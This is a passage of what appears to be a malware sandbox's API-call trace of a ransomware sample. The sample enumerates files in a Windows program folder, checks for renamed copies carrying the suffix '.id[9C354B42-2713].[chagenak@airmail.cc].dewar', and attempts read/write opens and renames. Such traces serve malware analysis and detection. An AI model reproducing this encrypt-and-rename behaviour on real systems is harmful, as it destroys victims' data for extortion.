Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.818] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3118) returned 1 [0255.818] CloseHandle (hObject=0x1e0) returned 1 [0255.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0255.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png")) returned 0x20 [0255.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.820] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4955) returned 1 [0255.820] CloseHandle (hObject=0x1e0) returned 1 [0255.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0255.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png")) returned 0x20 [0255.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.822] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3081) returned 1 [0255.822] CloseHandle (hObject=0x1e0) returned 1 [0255.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0255.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png")) returned 0x20 [0255.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.824] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=96025) returned 1 [0255.824] CloseHandle (hObject=0x1e0) returned 1 [0255.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0255.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png")) returned 0x20 [0255.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\scenesscroll.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\scenesscroll.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.825] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.826] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2864) returned 1 [0255.826] CloseHandle (hObject=0x1e0) returned 1 [0255.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0255.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png")) returned 0x20 [0255.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\specialmainsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialmainsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.828] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4815) returned 1 [0255.829] CloseHandle (hObject=0x1e0) returned 1 [0255.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png")) returned 0x20 [0255.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png")) returned 0x20 [0255.829] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.829] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.830] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.991] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3030) returned 1 [0255.991] CloseHandle (hObject=0x1e0) returned 1 [0255.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png")) returned 0x20 [0255.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png")) returned 0x20 [0255.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.992] SetEvent (hEvent=0x118) returned 1 [0255.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0255.995] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3808) returned 1 [0255.995] CloseHandle (hObject=0x1e0) returned 1 [0255.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0255.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0255.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0255.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.997] SetEvent (hEvent=0x118) returned 1 [0255.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.550] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3810) returned 1 [0257.550] CloseHandle (hObject=0x1e0) returned 1 [0257.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0257.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0257.550] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.550] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.551] SetEvent (hEvent=0x118) returned 1 [0257.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.552] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2925684) returned 1 [0257.552] CloseHandle (hObject=0x1e0) returned 1 [0257.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0x20 [0257.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0257.553] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv")) returned 0 [0257.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.554] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=3037684) returned 1 [0257.554] CloseHandle (hObject=0x1e0) returned 1 [0257.554] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0x20 [0257.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0257.555] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv")) returned 0 [0257.555] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.556] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=9170) returned 1 [0257.556] CloseHandle (hObject=0x1e0) returned 1 [0257.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png")) returned 0x20 [0257.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png")) returned 0x20 [0257.557] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.557] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.566] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4570) returned 1 [0257.566] CloseHandle (hObject=0x1e0) returned 1 [0257.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0257.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png")) returned 0x20 [0257.566] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0257.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0257.568] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=6440) returned 1 [0257.568] CloseHandle (hObject=0x1e0) returned 1 [0257.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0257.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png")) returned 0x20 [0257.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\dvd 